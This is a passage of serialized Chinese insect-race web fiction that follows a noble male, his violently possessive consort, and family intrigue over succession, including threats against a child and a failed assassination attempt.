“不,还是很感谢您。”雪因蓝眸微微弯起,“这些年,多亏了您替我照看阿南克。我还记得那时候我刚捡到阿南克,没什么照顾虫崽的经验手忙脚乱的,多亏了您将他带在身边替我教导,说起来还是我这个雄父的失责。” 奈孙轻笑一声,“这算什么事。你年龄小,照顾虫崽本就是我们这些年长些的雄虫长辈应尽的责任。你们年轻雄虫啊,趁着风华正茂,多多开枝散叶才是正理。” “我…”雪因沉默了一瞬,有些艰难地说道“我只有阿南克这一个雌虫崽。我…我也不想再有其他的虫崽,分走本该属于他的关注,我本来就没有照顾好他。” “说什么傻话呢,”奈孙轻笑摇头,“对雌虫来说,多一些血脉相连的亲兄弟是最好不过的事。雌虫和我们雄虫不同,长子一出生,继承序列便大致定了。后面的兄弟越多,他们才能互相扶持,拧成一股绳。毕竟你也知道,在雌虫成婚前,他们的亲生雌父……”他意味深长地顿了顿,“可不好相与。没有几个兄弟一起抱团,单打独斗,怎么斗得过掌家的雌君呢?” 雪因的瞳孔微微收缩,看向奈孙一脸坦然的模样,“您的意思是,雌君会对虫崽下手,是普遍存在的事?” “自然。”奈孙点了点头,“顶级雌虫们不缺诞下虫崽的机会,他们…唉,脑子除了独占雄虫外甚至不如成年星兽,眼里虫崽都是可再生消耗品。加上诞下后雌虫蛋甚至无需孵化,雌虫父子间往往感情淡薄。像你雌父那样,将雌虫崽当作下属来培养的,已经算是难得的好雌父了。” “我…”雪因有些艰难地消化着,还是不太理解这种扭曲的观念,“可是您知道的,”他抬眼,蓝眸像是望入奈孙的心里,“做雄父的,只想要自己的虫崽生活在一个安全的世界,我不想要他面对太多恶意,而且这个恶意还是来源于身边本该亲密的虫,就像我小时候…我是说,他本不该承担这些,是我的错。是我没有管好雌君,也没有……教好虫崽,让他们走到了对立面。” 奈孙心神猛地一晃,像是被他这番话击中,望向对面那双蓝眸,仿佛化作了一片汹涌的海,将他置于一叶孤舟之上,任由波涛翻涌。雌君和虫崽站在对立面,而夹在中间的雄虫,左右为难,最终一个都没有保住。眼底泛起一些湿意。他有些艰难地咽下口水,勉强勾起笑容,“你说得对,做雄父的自然是希望,虫崽能生活在稳定安全的世界。你雄父…自然也是希望你能开心的。” 雪因看着他的眼眸,低垂下,半响,抬起眼眸继续说道,“我不知道该怎么办。我雌君…对我虫崽有杀意,有时候我很害怕。我甚至不敢再和我的虫崽接触。怕激怒墨尔庇斯,也怕…护不住阿南克。” “这样吗?”奈孙先是一愣,看向年轻雄虫有些低落的神色,他抿了抿唇,伸手拂过对方同样雪白的发色。洛伦兹说得没错。当初他一走了之,不顾后果,导致维斯特冕家族权力断层。他的雄父莫里亚斯听闻他‘死讯’病倒,他的雄子洛伦兹被迫年纪轻轻扛起家主重担,被当时的阿斯特拉以‘家族需要雄虫继承人’为名变相禁锢数百年,直到莫里亚斯重新恢复健康掌控雄虫协会,才得已… 时间过去百年,但痛苦不会随着时间被抹去,现在的和平和谐不代表当初的屈辱不存在。幸运的是,雪因是他们和解后由爱生下的虫崽,不幸的是,必须得将这个虫崽牺牲,小小年纪就送往陌生的、甚至天敌属的雌虫手中。 是他的错。帝星的顶级雄虫,从未有谁在百岁之前就孕育子嗣。等级越高的虫崽对雄虫的消耗越大,就连他的洛伦兹都是过了两百岁才成婚诞下第一只雌虫。而雪因却在本该无忧的年纪,过早承担了本不属于他的繁衍责任。万幸的是,孕育和孵化过程没有出什么意外… “别担心。”奈孙看着眼前眉眼间依稀有着洛伦兹当年影子的年轻后裔,承诺道:“很快就会好起来,他不会再敢对你的虫崽下手。”他伸出手,轻轻拥了拥雪因,目光慈爱。 雪因像是松了口气,也是听出对方口中安抚的意味,蓝眸微微弯起,“谢谢您的安慰。” —— 漫天遍野的紫色小野花,花蕊点缀着雪白,在微风中连绵起伏,风过处,纤薄的花瓣被卷离枝头,在花海上空打着旋儿,形成小小的漩涡。 纯白的短靴一步,一步,陷入花田中,落步却始终悬停在那些看似柔弱的紫色花茎上方分毫,以至于保护任何一朵绽放的生命,纯白的披风随着风晃荡,粘人的紫色花瓣随着风像许多飞舞的精灵围绕在身边,在雪白的长发上点缀着。 雪因身姿挺拔,修长的腿在花间迈动,一步一步直到走到花海断崖。 那里同样有个白发的身影,双手向后撑在草地上,就这样懒懒地俯视着断崖之下繁华的帝星核心。 雪因脚步一顿,目光也随着落向那片令人目眩的辉煌。没有犹豫,撩起披风下摆,径直在对方身侧的空地上坐下,距离不远不近,恰好能感受到彼此的存在。 希利安放松的身体微微一僵,没有转身,光凭熟悉的味道也认出了雪因。他眼底倒映着下方那片由权力、欲望与规则构筑的流光溢彩,恍惚间要将这座繁华的世界都纳入眸中。 “您知道吗?”希利安忽然开口,“听说……整个帝星风景最好的地方,是帝国霍格斯军校,为您专门预留的休息室。” “你想去吗?”雪因侧过头,望向这张与自己有几分肖似、气质却迥然不同的脸庞。希利安的侧脸线条比他更显锋利,眉眼间藏着挥之不去的郁色与不甘。雪因的眸色不自觉地柔软下来,声音也放得很轻。 “……”希利安的长睫轻轻颤了颤,缓缓眨了眨,看向远方,“现在已经不想了。我只是好奇,您当时为什么要去那种雌虫云集的军校,一般的雄虫或许会想去…享受被无数年轻雌虫崇拜追捧、可以肆意挑选未来雌侍的乐趣。可您不需要。比霍格斯军校里那些所谓精英优秀得多的雌虫…甚至整个虫族的雌虫,都任您挑选。” 不等雪因回答,希利安嘴角一勾,转过头,紫眸看着雪因带上了些恶意,“还是说,您确实需要一个,完全由您亲自掌控、亲手挑选出来的雌侍?” 雪因沉默片刻,只是抬手,指尖轻柔地将希利安被风吹到脸颊的一缕银发别到耳后。看着那张脸,又似乎透过那张脸能看到小虫崽的模样,“抱歉。” “抱歉什么?后悔将我留在帝星?” “是我的错,你不该受这些苦的。” “那我应该怎样?和所有被保护起来的A级雄虫一样,被彻底洗脑操控,每日沉浸在虚假的快乐和放纵里,浑浑噩噩度过一生才对,是吗?您自己都不想过这种生活…”希利安话音一顿,转而别过脸,嗤笑一声,“不,您想过这种生活。想过那种只需追逐虚无缥缈的爱情、无需承担任何责任的无忧日子?所以您逃了,逃去追逐您想要的自由和爱。而我却偏偏不甘心!我不甘心被圈养,不甘心被定义,不甘于过这种生活,拼了命去争去抢。” “您现在是来谴责我的吗?谴责我不该去争,不该去抢,应该乖乖退到一边,把一切风光和爱都留给您心尖上的阿南克?”他拍开雪因的手,目光继续落回远处,话语真意又掺着几分委屈。 他本该更温和一些,可或许是委屈太久,又或许是因为对方眼中的溢出的溺爱让他潜意识莫名安心,知道无论自己说什么,对方似乎都不会真正放弃或伤害他,便控制不住地倾泻而出:“可惜我不像您。所有虫都夸赞您纯粹善良,是帝星最璀璨明亮的雄虫,而我不折手段,野心勃勃、心狠手辣!为了权势地位,不惜拔刀对准身边虫的低等级异类。” “……”雪因手僵在半空,缓缓收回,落在了花田间无意识摩擦着,“别这么说自己。你一直…都很努力,也做得很好。我知道。” “所以呢?” 希利安没有回头,尖锐未消,“所以您就会放弃让我退回您身后、乖乖当个装饰品的想法吗?您甚至…连一句‘在我心里,你和阿南克是一样的’这种哄虫的蠢话,都不愿意对我说。就想要我收手,乖乖听您安排?” “阿南克终究是雌虫。” “所以您更喜欢他,喜欢更强、更有用、未来可能成为您更大助力的雌虫崽,而不是我这样…看起来柔弱无用的雄虫崽?”希利安不自觉握拳,微微咬牙又松开,“我也可以很强!等我成长起来,我未必就比阿南克差!凭什么你们理所当然的一直把我放在弱者的位置上?” “我担心你希利安。太耀眼不是什么好事情,在实力还不够完全保全自己的时候,它会使你成为众矢之的。”雪因声音有些发干,带着心疼,“我…无能,现在保护不了你。” “我怕的是不成为众矢之,永远不被看见,没入尘埃,连成为靶子的资格都没有。”希利安不置可否。 沉默良久。 雪因开口:“我听说,你娶了洛伽南。” “是。他很有用,”希利安说着眼中闪过警惕,“您想将他要回去吗?连我好不容易求来的东西也要抢走?” “希利安,别这样。”雪因不知说什么,面对这个心思敏感的虫崽终究是内疚的,多少有些无措,“我的意思是,你不需要用婚姻作为筹码或阶梯。我没有的…” 雪因顿了顿,“我可以为你做主。你想要的,我会给你。你完全可以不用着急,等年纪再长一些,见识更多,慢慢挑选一个……你真正喜欢的伴侣。” “殿下。”希利安这次用上了敬语,眸色冷淡,“不是所有的虫,都容得下喜欢二字。他很好用,能帮我做很多事,所以,我自然喜欢他。求您,别再擅自安排。” 一阵稍强的风掠过断崖,吹得两人衣袂翻飞,雪白与银白的发丝交织缠绕。露出像是对峙,又像是对久归的雄父不自觉索求温暖的虫崽,气氛至始至终没有太紧绷,哪怕希利安语言在苛刻,在一方刻意退让下反而想一拳打入棉花,显得自己弱势落了下风。希利安显然也意识到了这一点,抿紧唇,不再言语,只是将目光重新投向崖下象征着权力的星河,侧脸线条倔强地绷着。 良久,希利安终于平复了心情,再次开口询问:“您把阿南克送到奈孙手里想做什么?王爵府出什么事了?” 雪因沉默了片刻。晚风拂过他额前的碎发,避开对方尖锐的问题,眼眸荡起温柔:“别担心这些。你会是我唯一的雄虫崽。我的爵位,只会给你。既然…那就去做你喜欢的事吧。不用顾忌太多。” “……”希利安感到对方的手轻轻覆上了他放在草地上的手背,传来温暖的触感。他别扭冷冷的开口道:“别死了。” “嗯。”雪因回笑。 第106章 屡教不改 “吱呀——” 厚重的门扉推开,泄出沉闷的呻吟。墨尔庇斯踏入书房,依旧明媚的阳光透过高窗上瑰丽的彩绘玻璃,在深色实木地板上投下缓慢移动五彩斑斓的光斑,空气里浮动着旧书与墨水的沉静气息。 他身着一身利落的纯黑衬衫,外罩的皮质战术背带与腰带紧紧收束,勾勒出宽厚胸膛与窄劲腰身的强悍线条。本应禁欲冷肃,却因领口纽扣被主人不耐地扯开,露出锁骨下方一片暧昧新鲜的吻痕与齿印充满张力,又透着生人勿近的威慑感。冷硬的军靴踏在光洁的黑檀木地板上,留下极具压迫感的闷响。缓缓走到光照耀的位置,温暖跳跃的七彩光斑落在他悍利身躯上,又好似没有。 被周身沉沉的黑雾吞噬殆尽,未能染上分毫暖色,只余戾气。 拉开书房座椅,坐上雄虫惯常的位置。属于雪因清浅温润的气息还残留在椅背与空气里,与他身上凛冽的气息格格不入。 垂眸,沉沉的黑眸凝视向桌面。 曲起指节,用指背关节处敲击桌面。桌面泛起黑色涟漪,日记本缓缓浮现。 无风,日记本的纸页自然翻动。 一页页,一行行,记录着雪因从略显稚嫩青涩的早期笔迹,到后来逐渐流畅、隐现锋芒的。一字一句,无不倾诉着他的罪行。 也是恨的证明。 是他们之间斩不断、理还乱,充满痛苦与强迫的纠缠的证明。 墨尔庇斯的指尖拂过那些熟悉的字迹,指腹能感受到纸张纤维的细微凸起,以及透过笔迹传来的,书写者当时或压抑、或颤抖、或绝望的情绪。他早已倒背如流。他需要确认雪因的恐惧,确认自己的所有权,也确认他们之间牢不可破的联结。 偏偏最新的一页,却充满爱意。 [我得救他。] 救? 墨尔庇斯半睁着眼,他维持着那个阅读的姿势,久久未动。 良久,像是失去力气往后重重靠在椅子上。仰头,将日记扣在脸上遮住一切欲念。 …… “墨尔庇斯?你在书房吗?” 远处传来雪因清越的呼唤,由远及近,尾音卷卷。 覆盖在墨尔庇斯脸上的日记本被黑雾吞噬,消失不见。他掀开眼帘,黑眸射向紧闭的房门,随后又重重阖上眼,未动。 “墨尔庇斯?” 脚步声在门外停驻,雪因脚步一顿,“睡着了?” 雪白的发丝边缘被背后的光线镀上一层浅金,蓝眸眨了眨,迅速适应了书房内相对昏暗的光线,目光落在椅中仿佛与阴影融为一体、闭目假寐的身影上。走了进去。 “让我看看,我的雌君大清早摸到我的书房是想做什么坏事——” 雪因刚踏入墨尔庇斯手臂可及的范围,瞬间天旋地转,后背结结实实地撞上宽大冰凉的硬木桌面,震得他脊骨微麻,挤出一声闷哼。 墨尔庇斯另一手横扫,将桌面上一切碍事的物件粗暴地扫落在地,清空出一片属于侵略者的领域。 细碎声响起,雪因被重力按在书桌上,余光只见一只手将桌面扫落清空。 墨尔庇斯甚至没有睁开眼。全凭野兽般的本能和气息锁定。一条腿屈起,膝盖不由分说地压上桌面,彻底断绝雄虫任何逃脱的可能。俯身,粗暴扯开雪因衣服。 一大片晃眼的冷白肌肤暴露在微凉的空气和雌虫滚烫的呼吸之下。线条优美脆弱的脖颈被迫后仰,毫无防备地袒露,划出诱人的弧线。随着呼吸,锁骨如蝶翼轻轻颤动,肌肤在昏暗光线下泛着珍珠般的微光,往下,被衣料半遮半掩,欲语还休。 墨尔庇斯俯得更低,高挺的鼻梁蹭着雪因的锁骨,炙热粗重的呼吸毫无保留地喷薄在对方敏感脆弱的肌肤上,激起一阵细密的战栗。 “别,别闹。”雪因是这样笑着拒绝的,脖颈处被对方黑发刺挠带来的细密痒意,让他忍不住偏头轻笑出声,抬手贴上墨尔庇斯胸口,不轻不重地推了推。 脖颈被对方硬黑发刺得带来一阵痒意,忍得他发笑,轻轻推开。 “还有半小时才出门,来。” “不要。刚换好衣服,你弄乱了待会儿还得重新收拾,还得洗——” 话音未落。 墨尔庇斯再度狠狠堵住了他的唇。充满掠夺性,撬开齿关,长驱直入,肆意扫荡着口腔内每一寸湿润与气息,纠缠着柔软的舌尖,吮吸吞咽,带着要将人生生拆吃入腹般的凶狠蛮力。 唇齿间是对方灼热的气息和淡淡的信息素味道,直到雪因开始因为缺氧本能地开始挣扎,墨尔庇斯才略略退开一丝距离。 暧昧的银丝在两人分离的唇瓣间拉长,最终断裂,落在雪因嫣红湿润的下唇上。 墨尔庇斯这才睁开了眼。沉沉的黑眸翻涌着浓黑欲念与偏执占有欲,一眨不眨地凝视着身下被他气息彻底染红浸润的脸,泛着水光的蓝眸,微肿艳红的唇,凌乱粘在汗湿额角的雪发。 “洗什么。” 他抬起拇指,指腹重重碾过雪因下唇那点湿痕,粗鲁狎昵,“就这样。” 雪因被吻得眼睫湿润,蓝眸蒙着一层生理性的水汽,闻言却挑了挑眉。伸出双臂,环上墨尔庇斯的脖颈,泄愤似的狠狠揉了揉对方那头手感粗硬的短发,将之揉得更加凌乱不羁,几缕黑发垂落额前,稍稍柔和了那份过于凌厉的攻击性。 “看起来,”雪因意有所指地瞥了一眼对方,“你大清早溜进来,确实没什么正经事要做。” 雄虫眼眸中确实没什么欲望。 墨尔庇斯有些不悦,还是松开了,顺势向后,重重坐回了那张高背椅中,面色倦倦。 “墨尔庇斯。”雪因坐起身,就势坐在书桌边缘,单手慢条斯理地整理着自己惨不忍睹的衬衫。将所有暧昧的痕迹,重新妥帖地藏入衣料之下。脸上因激烈亲吻泛起的艳丽潮红迅速褪去,恢复了平日的润白,像是刚刚一切没有发生过一样。 墨尔庇斯的目光一直追随着他的动作,直至对方身上一切他留下的痕迹都被掩盖。他微微张了张嘴,最终还是抿唇,低垂下黑睫,掩盖住一切翻腾暴戾欲望。 却也没有回答。 “你还没回我呢,来我书房想——” “没用。”墨尔庇斯打断了雪因的轻声像是像缓解氛围的开口,雪因愣住。 “什么没用?” “阿南克。你的阿南克…现在倒是成了帝星风头最劲的皇储候选之一。可惜,没用。”他忽然低低地笑了起来,肩膀微微耸动,黑眸斜睨着坐在桌沿的雪因,像在欣赏一件即将被打碎的珍贵瓷器上出现的裂痕。“他想快点长大,快点变强,好有资本把你从我手里抢回去?想法不错。但是,” 他顿了顿,语气轻柔得可怕,“没用。” “你、”雪因有些茫然地眨了眨眼,消化这短短几句话里蕴含的恶意与信息,随后脸色瞬间惨白起来,“你对他做了什么?!” “你看,”墨尔庇斯依旧维持着后仰靠在椅背上的姿势,但却因雪因的反应更愉悦了些,慢条斯理地又解开了衬衫领口下的两颗纽扣,让更多之前被刻意用精神力加深烙印的暧昧痕迹暴露出来,“我明明已经是你唯一的雌君了,可你却还在关心别的雌虫。甚至都没有先问一句,他对我做了什么。” “他…”雪因一时语塞,“他一个虫崽能做什么。” “多了。”墨尔庇斯的笑容淡了些,黑眸沉沉地锁定雪因,“光是这个月,他就试图偷袭我两次——当然,没成功。在议会里他联合几个老东西,翻腾些早就该烂在纸堆里的陈年旧账,想把我从元帅的位置上拉下来。还有你的雌父……” 他皮笑肉不笑地扯了扯嘴角,眼底寒意更甚,“阿斯特拉阁下,似乎乐见其成。也对,比起一个阴晴不定、难以掌控的雌君,一个流淌着相同血脉、看起来更忠诚也更容易摆布的虫崽更可靠。” “……你也别这样。”雪因只觉一阵头疼。怎么一个又一个,没一个省心的。他不想听这些没有意义的指控,尤其当它们牵扯到他最在意的虫,明明一家虫不该内部闹矛盾。 “也?” 墨尔庇斯眉梢危险地扬起,“还有谁?” 雪因闭上眼,深吸了一口气,没有回答。 短暂的沉默后,墨尔庇斯嗤笑一声,他再次开口,“而现在的事实是——没有虫,能打败我。无论是议会玩弄权术的老古董,还是战场上所谓年轻新星,甚至是你寄予厚望的那只小虫子…都不可能做到。没虫能从我手里救出你。所有虫最终都得明白这个事实,都得学会听我的。规则,界限,甚至所谓亲情与忠孝的考量,在绝对的力量面前,都是可以重塑、可以忽略的变量。不会有任何虫,任何事,能将我们分开。我们会在一起,只要我还存在,这个事实就不会改变。放弃你无谓的抵抗,你能选的,只有听我的。” “……”雪因心一沉,却是低垂了眼眸没有再争辩。陌生又熟悉的窒息感压上,压得他动弹不得。 “对,就是这样。我们会永远在一起,你也永远逃不掉。”墨尔庇斯很满意他的乖顺,站起身,高大的阴影瞬间笼罩了雪因,不容抗拒地将雪因轻轻揽入怀中。强势的精神力如同最粘稠的蛛网无孔不入地缠绕上来。“你乖一些。等阿南克死了,你喜欢虫崽,我重新给你生几只听话的。” 雄虫的身体在他怀中显得异常乖顺,却莫名让墨尔庇斯感到失控。 明明不再像以前一样冲动争辩。 明明… “走吧。”雪因声音闷闷地,勉强勾起嘴角,主动拉住了墨尔庇斯垂在身侧的手。指尖冰凉。 更不对劲了。 墨尔庇斯仔细审视着对方的眼眸,对方避开他的视线,看起来像是难受的,惹得他心头也涌上陌生压抑的感觉,却又瞬间暴戾所覆盖。 “还在想阿南克?” 他声音陡然冷硬,捏紧了雪因的手,力道大得几乎要捏碎对方的指骨,“你救不了他。你能一次次把他支开,能把我从这里带走,但你不可能永远护着他。他迟早得死。” “去虫神殿。” 雪因像是完全没有听到他的威胁,只是避开他凝视,不愿再看向他,“过几天的帝国庆典……我想先带你去看看。” “求虫神保佑?” 墨尔庇斯像是听到了什么极其荒谬的笑话,嘴角勾起讥诮的弧度,“还不如现在求我放过他,更实际一些。” 雪因垂落在宽大袖袍里的手不自觉地死死握紧,指甲深深陷入掌心,留下月牙形的苍白印记,刺痛传来,奇异地让混乱的思绪获得清明。心底冷笑一声,求?若是求了有用,墨尔庇斯现在便不会是这副模样。这时候要是顺着墨尔庇斯提阿南克的名字,他敢保证只会刺激得这头凶兽立刻暴起,立刻发疯表演弑子。 不再言语,拉着墨尔庇斯的手往外走。 墨尔庇斯心下不悦到了极点,暴戾的情绪在胸腔里冲撞,几乎要破体而出。可不知为何,暴戾只余又多了丝无措,让他迟疑。 冥冥之中,仿佛有个声音在警告他:如果此刻甩开这只手,雪因绝对不会再像以前一样回头温声或狡黠挽回他,不会再温温柔柔再次牵起他的手。 但他可不需要雪因的温柔。 脸上表情变了又变。最后还是反手握住对方的手,紧了几分,随着对方的步伐向前。 爱需要多少时间才能彻底消耗殆尽?他不知道,也懒得计算。总之是些无用又麻烦的东西,没了更好。他现在只是暂时还不想破坏雪因这段时间难得的主动的亲昵罢了。 仅此而已。 在他没有腻之前。 第107章 二胎? 进入虫神殿不久,几位身着雪白镶金边圣袍的虫便上前,以‘殿下需先行预演七日后的祭祀大典流程与祷文’为由,将雪因与墨尔庇斯分隔开来。 雪因回眸看向墨尔庇斯,神色淡淡,示意他在外等候,随后毫不留恋松开交握的手,转身跟随着圣虫们消失在拱廊深处。 只余墨尔庇斯独自站立在教堂中央,眼眸投向大厅中央尊巍峨的巨大神像。 神像通体由莹润的白色石材雕琢而成,祂拥有一头如瀑的雪白长发,面容笼罩在一层柔和的光晕之下,朦胧而不可直视。背后是由璀璨剔透的水晶薄片构筑的蝶翼,轻轻扇动着,在阳光下折射出七彩流转的虹光,勾勒出一圈圣洁的光晕,散落下浅浅星尘。 周围前来朝圣祈祷的虫络绎不绝,经过时纷纷仰头瞻仰神像,憧憬且敬畏,以最虔诚的姿态许下愿望。 墨尔庇斯却没什么反应。看久了自家虫崽,对这神像感觉也只是一般。只淡淡扫了眼,目光便重新落回雪因消失的那处拱廊入口,那里才是他唯一愿意投注注意力的圣地。拱廊之后是雄虫专属的宫殿,雌虫不得入内。 “墨尔庇斯。” 他回头,看到阿斯特拉同样身着一身款式典雅庄重的雪白礼服,金色的长发一丝不苟地束在脑后,几缕碎发垂在颊边,蔚蓝眼眸在阳光下意外的显得无比耀眼,岁月似乎格外优待高阶虫族,并未在他身上留下多少痕迹。雪因无疑是继承了他漂亮的眼眸的。 众所周知,阿斯特拉当年是通过异常严苛的层层选拔,最终才得以成为当时皇室唯一雄子——洛伦兹的雌君。这无可挑剔的容貌无疑是他当选最重要的一步。当然,阿斯特拉绝不承认就是。 “您怎么也在这里?” 阿斯特拉走到近前,目光扫了一眼雪因离去的方向,语气自然地问道,“是带我家小雄子出来散心吗?” 你家? 墨尔庇斯微微皱眉,声音冷淡:“他是我的雄主。雄虫成婚后,即便是血亲,也应注意保持应有的距离。” 言下之意,是让阿斯特拉别缠着雪因,少拿血缘关系说事。 他对雪因这位真正的雌父提不起半分好感,似乎随着和雪因关系日渐亲密后,反而容不下任何与雪因相关联,超出他掌控之外的所有外界关系。 阿斯特拉不以为意地挑了挑眉,显然没把墨尔庇斯占有欲放在心上。他转身面向虫神雕像,神色渐渐肃穆,闭上了眼睛,双手在胸前做出虔诚的姿态祈祷。片刻后睁开眼,恢复那副温和从容的模样,看向一旁显然对周遭一切都漠不关心的墨尔庇斯。 “您在这这么久,对着虫神许下了什么愿望?” 阿斯特拉像是随口闲聊。 墨尔庇斯刚想否认自己会有这种无聊的举动,便看到对方那双与雪因如出一辙的蓝眸微微眯着,充斥着狡黠。 “让我猜猜看……” 阿斯特拉拖长了语调,“是想要个二胎吧?也对,你们现在只有阿南克一个雌虫崽,可太少了。多几个虫崽,家里也热闹。” 墨尔庇斯闻言嗤笑一声,一个处处与他作对、觊觎他雄主的阿南克已经够让他烦了,还多来几个?更何况现在雪因的态度…能不能有还不一定。他思绪不由得有些飘散,不作回答。 阿斯特拉却像是没看到他的抗拒,追着不放,“你别这么固执。有虫崽可是好事,越多越好。” 他自然知道墨尔庇斯对阿南克的敌意,但在他看来,这只是年轻雌君必经的心路历程。特别是经历第一只虫崽诞生后,眼睁睁看着雄主将大量注意力和柔情倾注在新生命上,哪怕对方是自己的虫崽,被分割和取代的感觉,足以让任何占有欲强的雌虫炸毛。 “你瞧,就拿我自己来说,之前雪因离开帝星那段时间,我家雄主那个翻脸不认虫的,立刻就寻了个由头把我从雌君的位置上削成了雌侍。任我怎么努力挽回,都无济于事…可雪因一回来,都不用我开口提,雄主他自己就怕雪因知道了会担心、难过,立刻就把雌君的位置原封不动地还了回来。” “况且虫崽多了,才能把雄虫绑得牢,他们维斯特冕家的雄虫啊,骨子里一个比一个在乎自己的虫崽。当初我…多亏了膝下虫崽多,他就算想离婚都得考虑虫崽年幼,或是还未承爵,根本离不开我这个亲生雌父的扶持。” 这可都是他的经验之谈。顶级雄虫相比雌虫更关心嫡系虫崽,或许因为雌君所出的虫崽,往往意味着资质优异。而优质的虫崽却是实打实的战力与爵位继承者。没有雌君的配合,再优秀的虫崽在成长途中也极易‘意外’夭折。 他并不认为墨尔庇斯对雪因不好。恰恰相反,在他看来一位强大到足以震慑整个帝星的雌君,对雪因这样的王爵来说,才是真实的,高于一切的价值。哪怕这位雌君性格冷酷、不近情理,但只要他坐在这个位置上,其他任何雌虫都不敢对雪因有非分之想,也不敢对维斯特冕家的利益轻举妄动。墨尔庇斯的问题,在他看来,无非是‘不懂’而已。 不懂如何用更聪明、更符合规则的方式,将雄虫牢牢绑定在身边。他是爱雪因的——很少有雌君能容忍其他雌虫诞下雄虫长子,除非那个雄虫本身就是自己视若珍宝的雄子,才会爱屋及乌,勉强容忍其存在。但墨尔庇斯忍了。他让希利安活了下来,甚至如今还默许对方拥有光明正大的姓氏和身份。这一切证明了墨尔庇斯对雪因的在意,在意到可以违背部分本能的地步。 至于墨尔庇斯本身……阿斯特拉暗自评价:作为雌君,该尽的义务也做到了。最多,也就是脾气差了些,手段强硬了些,独占欲过于旺盛了些。 阿斯特拉看到墨尔庇斯的眼眸似乎有些松动,继续说道:“我家虫崽挺好哄的,你别总凶他,顺着他些,抓紧机会,多生几只虫崽才是正事。 至于阿南克,如今雪因之所以格外看重他,无非是因为虫崽就那么几只,他作为雄父的注意力与关爱,总量就那么多。 一半分给了你,另一半自然就落在了虫崽身上,你才觉得他对你感情好像少了一半,被阿南克抢走。” 身为雌虫最无法容忍的核心只有一种——分享,尤其是与后代这种存在分享雄主的关注。 “但你想,若是虫崽多了呢?三个,五个,甚至更多。 那份对虫崽的关爱,就会被分摊,变成二分之一,三分之一,四分之一……而你作为雌君的那一半,却是固定的。虫崽越多,你这个雌君的位置才越稳固。别老是把眼睛盯着阿南克,我不是护着他支持他反抗你,毕竟一家虫,闹得太难看,伤的是雪因的心。要是你真杀了他,雪因要恨死你。” “恨就恨——” “噢?是么?”阿斯特拉眉头上扬,就这么看着嘴硬的年轻雌虫。直到墨尔庇斯在他的目光下率先绷不住,移开视线败下阵来。 “……所以,” 墨尔庇斯开口,“当年你把雪因送到我身边,一方面觉得养不活,另一方面…是不是也嫌洛伦兹殿下的目光,过多地放在了新得的雄子身上,你担心失宠,所以干脆借这个由头把他送得远远的?” “你胡说什么!” 阿斯特拉脸色微变,立刻低声斥道,同时心虚地精神力迅捷扫过四周,确保没有虫听到后,他深吸一口气,有些咬牙切齿:“墨尔庇斯,别恩将仇报!我的雄子我自然疼爱!你对他好,他有你这个雌君,维系好这段关系,对我们所有相关者——你、他、我、整个维斯特冕家族、乃至帝星都有利无害!你别再用这种态度。” “你心里清楚,现在有虫皇在,有阿南克在,我的雪因并非非你不可。我能帮阿南克也能帮你。” 看到墨尔庇斯眼中骤然凝聚的风暴,阿斯特拉话锋微转,语气稍缓,“当然,我知道你不需要帮,但一个乖巧温顺、满心满眼都是你的雄虫,总比一个整日与你闹别扭、心怀恐惧的雄虫要好吧?你爱他,他现在眼里也确实只有你,那便好好过日子,对你总不是坏事。” 墨尔庇斯不置可否,扭过头看向虫神,但眼眸这次倒是多了些思索。阿斯特拉知道,自己至少有一半的话,这只偏执的雌虫是听进去了。只要他不再执着于杀掉阿南克,就还有转圜的余地。一家虫,总归不要闹到你死我活、无法收场的地步。他暗暗松了口气,抬手拍了拍墨尔庇斯紧绷的肩膀。 “回去之后,好好哄哄我那虫崽。语气放软和些。现在阿南克不是被送到奈孙那里学习了么?你主动送些像样的礼物过去,权当是求和。雪因看到肯定会开心。他是个敏感的虫崽,知道你不喜欢阿南克,也不会再让阿南克在你面前碍眼。但你这个‘退让’和‘牺牲’他知道,为了补偿你…” 阿斯特拉意味深长地挑了挑眉,调侃道:“我家雄子信息素的味道…很不错吧?瞧你这浑身都快被腌入味了。” 墨尔庇斯神色微动。 “你先示好,把姿态做足。日后阿南克若还敢不知死活地攻击你,你大可去向雪因告状。到时候,理亏的可就是那只不懂事的虫崽了。阿南克若是够聪明,也该知道收敛。你再抓紧机会,多和雪因生几只虫崽…这家,不就和睦了?” 第108章 如果一定要选,只会是…… “嗯。”墨尔庇斯算是认同,总之提到雪因,神色总算不那么强硬。 阿斯特拉心中一块大石终于落地。说实话,今日前来,其实是受自家雄主洛伦兹的指派。原话是将墨尔庇斯弄死算了,给自家虫崽换个脾气好、懂规矩的雌君。如今虫皇回归坐镇,加上阿南克逐渐成长,未必没有胜算。 但他觉得,没必要不是吗?抛开…呃…抛开所有不谈,墨尔庇斯还挺好的吧?况且他们还有虫崽呢!整天想着换雌君那叫什么事!他有预感墨尔庇斯被换后,下一个被从雌君位置薅下来的就是他!毕竟现任虫皇对他的杀意,足以支撑满足洛伦兹一切想法。 谁说只有年轻的虫崽才会威胁到雌君的地位?明明雄主的亲生雌父也会!他只恨当年棋差一着,没能彻底斩草除根。不过愿赌服输,他现在输了,如今便只能乖乖听从自家雄主的一切安排。 但墨尔庇斯的位置可得稳住! 阿斯特拉面上却丝毫不显,笑语盈盈的开口:“那么,便祝二位…早日诞下虫崽。” —— 将雪因引入一间空旷静谧的侧殿后,领路的圣虫便行礼退了出去,殿门在身后无声合拢。 殿内宽敞,以金白二色为主调,似羽毛结构淡金色纹路在地板缓缓游走。正对着雪因的墙壁上,悬挂着一座巨大的、边框镶嵌繁复金色花纹的时钟,内部的齿轮与钟摆精密可见,随着时间流逝发出‘咔哒咔哒’声。 时钟镜面反射出雪因身后忽然出现的黑发雌虫,唇色惨白,一只手紧紧压在腹部,指节用力到泛白,黑发略显凌乱,额角沁着冷汗。 “雄父。”阿南克开口,声音沙哑干涩,“对不起…我…没有赢。” 雪因转身上前,伸手扶住阿南克微微颤抖的手臂。 无需多言,空气中弥漫的浓烈血气与那股阴冷霸道、令他熟悉到心悸的精神力残痕,已昭示了一切。 “先坐下。”雪因将他半扶半按到一旁的软榻上。 阿南克顺从地坐下,头颅却垂得更低,几乎要埋进胸口,肩膀绷紧,声音闷闷地:“对不起,雄父…让您失望了。我伤不到他。他的时间在作弊,他不让伤口存在,上一秒血才溅出来,下一秒就像从未发生过…我根本伤不到‘现在的他’。” 雪因没有说话,蹲下身与他平视。嘴角努力勾起一个温柔的弧度,指尖却轻颤着,落在他制服扣子上。“来,让我看看。” 阿南克有些不好意思,耳廓迅速漫上一层薄红,下意识地抬手想挡,“雄父,别……不好看。” 对于帝星雌虫来说,对雄虫展示脆弱与伤势,总归是难堪的。 